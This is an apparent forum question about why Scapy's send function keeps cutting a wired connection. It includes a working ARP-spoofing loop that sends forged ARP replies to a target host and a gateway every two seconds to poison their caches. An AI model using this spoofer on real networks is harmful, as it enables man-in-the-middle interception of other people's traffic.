When i use send or sendp functions to send packets while using a WIRED connection to my router, the internet in my pc keeps on cutting of for every packet send, but when i use a wifi adapter, it works totally fine, iam searching about this problem from a very long time and can't find a clue, using sr function sends and receives packets without causing this problem, this problem is only exclusive for send/senp functions.
Here's the function that cases the problem:
def arp_spoofer(self):
while self.master_run:
target_arp_packet = ARP(op=2, psrc=self.gateway_ip, pdst=self.target_ip, hwdst=self.target_mac)
gateway_arp_packet = ARP(op=2, psrc=self.target_ip, pdst=self.gateway_ip, hwdst=self.gateway_mac)
send(target_arp_packet, verbose=False, iface=self.interface)
send(gateway_arp_packet, verbose=False, iface=self.interface)
sleep(2)